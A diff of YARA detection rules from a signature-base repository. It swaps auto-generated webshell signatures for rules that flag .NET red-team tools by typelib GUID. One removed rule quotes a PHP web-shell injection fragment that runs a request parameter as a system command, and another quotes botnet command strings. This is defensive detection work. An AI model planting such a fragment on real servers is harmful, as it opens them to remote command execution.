+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwsus : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file by064cli.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9ea88f0c-9275-5567-a4d9-0545de8044d1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8517-L8529"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "10e0dff366968b770ae929505d2a9885"
-		logic_hash = "51efd5c510efc6657ae175af47b09437ae70eb0237d88ffdf3cdae365d0ec7be"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f020eea9-4ff4-5242-b9b2-53284505dab4"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/nettitude/SharpWSUS"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5214-L5228"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1511bb29b808146852555c7bc23cbdc9a4a2d70547fb1541790d1947a42d6089"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "packet dropped,redirecting"
-		$s9 = "input the password(the default one is 'by')"
+		$typelibguid0lo = "42cabb74-1199-40f1-9354-6294bba8d3a4" ascii wide
+		$typelibguid0up = "42CABB74-1199-40F1-9354-6294BBA8D3A4" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Mithril_Dlltest
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpimpersonation : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file dllTest.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "59a6bfb6-c099-56cd-b40e-3e92ea0eb7d3"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8530-L8542"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a8d25d794d8f08cd4de0c3d6bf389e6d"
-		logic_hash = "c8c8d1b75ed4eb4bc66a762e53aa6b3ab439e96ef464a8b9ffa4dff887986465"
-		score = 50
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5815c5bd-e3e8-5f2f-b03e-8a05fb4f6e91"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/S3cur3Th1sSh1t/SharpImpersonation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5230-L5244"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c875b3e499b0fc6aa2833c3be88a4a4b93062e88cc8f1201eaf12e0b10f7cc95"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "please enter the password:"
-		$s3 = "\\dllTest.pdb"
+		$typelibguid0lo = "27a85262-8c87-4147-a908-46728ab7fc73" ascii wide
+		$typelibguid0up = "27A85262-8C87-4147-A908-46728AB7FC73" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Peek_A_Boo
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcloud : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file peek-a-boo.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f6ca33b5-e37f-5124-a193-a3056c559314"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8543-L8559"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aca339f60d41fdcba83773be5d646776"
-		logic_hash = "b103c1b873dd0df9626d72a1127fbadc821777a05012a080423263a2083c398b"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "048b0239-ea13-58ff-af35-fd505b4c977a"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/chrismaddalena/SharpCloud"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5246-L5260"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d1ad4088ce5b4216930d74ab7c2bc7b4d700928740faff27ebbb69e79068b14e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "__vbaHresultCheckObj"
-		$s1 = "\\VB\\VB5.OLB"
-		$s2 = "capGetDriverDescriptionA"
-		$s3 = "__vbaExceptHandler"
-		$s4 = "EVENT_SINK_Release"
-		$s8 = "__vbaErrorOverflow"
+		$typelibguid0lo = "ca4e257e-69c1-45c5-9375-ba7874371892" ascii wide
+		$typelibguid0up = "CA4E257E-69C1-45C5-9375-BA7874371892" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Fmlibraryv3
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpssdp : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file fmlibraryv3.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9b8ef79d-80bb-5a05-91e6-0f2bc3fd3068"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8560-L8571"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c34c248fed6d5a20d8203924a2088acc"
-		logic_hash = "a7dc83db26cdda757f626c42022c17bb2764074a3cc5f87b4a3aaa991fac5dc2"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8441e940-ab7c-5467-9db8-35f71bd57580"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/rvrsh3ll/SharpSSDP"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5262-L5276"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0bb30d6b35db2b8144d284f25051f231ce6684f6a1213dc24ba2da0d5e4d4603"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "ExeNewRs.CommandText = \"UPDATE \" & tablename & \" SET \" & ExeNewRsValues & \" WHER"
+		$typelibguid0lo = "6e383de4-de89-4247-a41a-79db1dc03aaa" ascii wide
+		$typelibguid0up = "6E383DE4-DE89-4247-A41A-79DB1DC03AAA" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Debug_Dlltest_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Wiretap : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file dllTest.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cf81e3de-513c-584d-bc37-6504e91b170c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8572-L8584"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1b9e518aaa62b15079ff6edb412b21e9"
-		logic_hash = "bf260ce0f8d4728920679573cd77927b44db28ba6102923707af8d1ad7d0ef2d"
-		score = 50
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5513a295-8907-5a9c-adca-760b33004229"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/djhohnstein/WireTap"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5278-L5292"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1e2199f7d4a01985edd2b4a071b928a3329e4f0f39d786608fdbbae1a01783fe"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "\\Debug\\dllTest.pdb"
-		$s5 = "--list the services in the computer"
+		$typelibguid0lo = "b5067468-f656-450a-b29c-1c84cfe8dde5" ascii wide
+		$typelibguid0up = "B5067468-F656-450A-B29C-1C84CFE8DDE5" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Connector
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Kittylitter : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file connector.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e46026bc-c570-5057-a132-5a459c959a69"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8585-L8597"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3ba1827fca7be37c8296cd60be9dc884"
-		logic_hash = "b8cadb7aa23a8cdef10e7b1eb05586d6c3e7c398958a80861b6f1ccd4edf1eca"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f457b91f-4adb-5be6-b9c2-f6cc39d4bdaf"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/djhohnstein/KittyLitter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5294-L5312"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d68b2e8501db9e534b37260f7972caae8ec9756bf55c02ec60fadd256193080"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "If ( AttackID = BROADCAST_ATTACK )"
-		$s4 = "Add UNIQUE ID for victims / zombies"
+		$typelibguid0lo = "449cf269-4798-4268-9a0d-9a17a08869ba" ascii wide
+		$typelibguid0up = "449CF269-4798-4268-9A0D-9A17A08869BA" ascii wide
+		$typelibguid1lo = "e7a509a4-2d44-4e10-95bf-b86cb7767c2c" ascii wide
+		$typelibguid1up = "E7A509A4-2D44-4E10-95BF-B86CB7767C2C" ascii wide
+		$typelibguid2lo = "b2b8dd4f-eba6-42a1-a53d-9a00fe785d66" ascii wide
+		$typelibguid2up = "B2B8DD4F-EBA6-42A1-A53D-9A00FE785D66" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Shelltools_G0T_Root_Hiderun
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpview : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file HideRun.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "dd71dbef-5b5d-5976-8b95-0f202a4b4795"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8598-L8610"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "45436d9bfd8ff94b71eeaeb280025afe"
-		logic_hash = "3a6dea2314800b28e92b59595c8b79c64e66dc66ebfa8f89c2f4028b574b9a91"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "2ae1bc26-c137-55ce-ae2e-3204ff07f671"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/tevora-threat/SharpView"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5314-L5328"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "74c1b0ad4717b3d9494b0f1df4a51d03d0e0cbf99e5d911beaa2cc67cdd50233"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Usage -- hiderun [AppName]"
-		$s7 = "PVAX SW, Alexey A. Popoff, Moscow, 1997."
+		$typelibguid0lo = "22a156ea-2623-45c7-8e50-e864d9fc44d3" ascii wide
+		$typelibguid0up = "22A156EA-2623-45C7-8E50-E864D9FC44D3" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_PHP_Shell_V1_7
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Farmer : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file PHP_Shell_v1.7.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7eb69ac3-90bb-5a44-8dcd-e71f5edcf18f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8611-L8622"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b5978501c7112584532b4ca6fb77cba5"
-		logic_hash = "e03904177309de9ce1afa0b12bf70913b106650c3db5807f9d4ccb91fb2ade77"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "f69745b9-4ebd-547a-9af3-bc340b076e5d"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/mdsecactivebreach/Farmer"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5330-L5350"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9f4c2cc503e8fd5b310f2c4b7d5914857612dab1435ca886bc7f8f362e822832"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s8 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]"
+		$typelibguid0lo = "37da2573-d9b5-4fc2-ae11-ccb6130cea9f" ascii wide
+		$typelibguid0up = "37DA2573-D9B5-4FC2-AE11-CCB6130CEA9F" ascii wide
+		$typelibguid1lo = "49acf861-1c10-49a1-bf26-139a3b3a9227" ascii wide
+		$typelibguid1up = "49ACF861-1C10-49A1-BF26-139A3B3A9227" ascii wide
+		$typelibguid2lo = "9a6c028f-423f-4c2c-8db3-b3499139b822" ascii wide
+		$typelibguid2up = "9A6C028F-423F-4C2C-8DB3-B3499139B822" ascii wide
+		$typelibguid3lo = "1c896837-e729-46a9-92b9-3bbe7ac2c90d" ascii wide
+		$typelibguid3up = "1C896837-E729-46A9-92B9-3BBE7AC2C90D" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Xssshell_Save
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Aesshellcodeinjector : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file save.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f33c7559-e2f7-5223-a0e9-4e1d3bc7f080"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8623-L8635"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "865da1b3974e940936fe38e8e1964980"
-		logic_hash = "c53034c6ebc4f01c4573e688f548e71dae944913797b12eb8f22a5ef0a368ccf"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "6253e30b-7c92-5237-a706-e93403a7c0b6"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/san3ncrypt3d/AESShellCodeInjector"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5352-L5366"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a3a6793e5ba5788fb01b3a04dc287d0bad44c87c72da302e5629d59a35ee1583"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "RawCommand = Command & COMMAND_SEPERATOR & Param & COMMAND_SEPERATOR & AttackID"
-		$s5 = "VictimID = fm_NStr(Victims(i))"
+		$typelibguid0lo = "b016da9e-12a1-4f1d-91a1-d681ae54e92c" ascii wide
+		$typelibguid0up = "B016DA9E-12A1-4F1D-91A1-D681AE54E92C" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Screencap
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpchromium : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file screencap.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0c1b71d3-ad54-5230-b1ab-971647e76139"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8636-L8649"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "51139091dea7a9418a50f2712ea72aa6"
-		logic_hash = "9be7ec97ef8e9b8838f7931a8fcf8d85b1543a202a7bf34fab9791fc47889cb9"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5364956a-e199-556a-8055-0e7b9a7b14c8"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/djhohnstein/SharpChromium"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5368-L5382"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "00324bac8e8d9c335a359c2241e810d2e345ee6fb10a63b1bc05f33a7816c80d"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "GetDIBColorTable"
-		$s1 = "Screen.bmp"
-		$s2 = "CreateDCA"
+		$typelibguid0lo = "2133c634-4139-466e-8983-9a23ec99e01b" ascii wide
+		$typelibguid0up = "2133C634-4139-466E-8983-9A23EC99E01B" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Phpinj_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Get_RBCD_Threaded : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file phpinj.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "db8f835e-eb13-50f3-a60b-7d8ffcaa5eaa"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8650-L8661"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dd39d17e9baca0363cc1c3664e608929"
-		logic_hash = "12af5182b94f01ac4fbdee92c007556aaa7f196aca116575803cedd84b81f3b0"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "fdef6dc3-da1a-5a98-a822-94e443981fdd"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/FatRodzianko/Get-RBCD-Threaded"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5384-L5398"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c771f3cf70901b6e60ec5a721e214e7c6c95169070d071caa870ca9f6235519f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s9 = "<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO"
+		$typelibguid0lo = "e20dc2ed-6455-4101-9d78-fccac1cb7a18" ascii wide
+		$typelibguid0up = "E20DC2ED-6455-4101-9D78-FCCAC1CB7A18" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Zxshell2_0_Rar_Folder_Zxrecv
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Whisker : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file zxrecv.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9d36541f-dd55-5385-8e2b-598ad78bdf73"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8662-L8679"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5d3d12a39f41d51341ef4cb7ce69d30f"
-		logic_hash = "7eef63e45f6902e4f2d5f854b2794df3101a2ef145e2d627263db429c2b728d7"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ecb0c59f-2111-58d9-8dc9-dfe005cad3be"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/eladshamir/Whisker"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5400-L5414"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "937998140d3487e7d490be50525ab6d42309e2198d3d2afe4e3c73ad14517b57"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "RyFlushBuff"
-		$s1 = "teToWideChar^FiYP"
-		$s2 = "mdesc+8F D"
-		$s3 = "\\von76std"
-		$s4 = "5pur+virtul"
-		$s5 = "- Kablto io"
-		$s6 = "ac#f{lowi8a"
+		$typelibguid0lo = "42750ac0-1bff-4f25-8c9d-9af144403bad" ascii wide
+		$typelibguid0up = "42750AC0-1BFF-4F25-8C9D-9AF144403BAD" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Ajan
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Shadowspray : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file ajan.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "03bf98b9-c8c5-5b9f-b0cd-700c5ed58eac"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8680-L8691"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "22194f8c44524f80254e1b5aec67b03e"
-		logic_hash = "a7766caae5845ce43cff2212c25fea9a78979d10c79d8c40290b5c1471b101cd"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "91dd52ef-07a1-5ffd-b5c3-59bca18d4c7c"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/Dec0ne/ShadowSpray"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5416-L5430"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1d5992f9f58b6f7254fd8436aa32c6744d7a7ac3c70d94b3d7325c7a4c720475"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "entrika.write \"BinaryStream.SaveToFile"
+		$typelibguid0lo = "7e47d586-ddc6-4382-848c-5cf0798084e1" ascii wide
+		$typelibguid0up = "7E47D586-DDC6-4382-848C-5CF0798084E1" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_C99Shell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Malsccm : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file c99shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8692-L8703"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
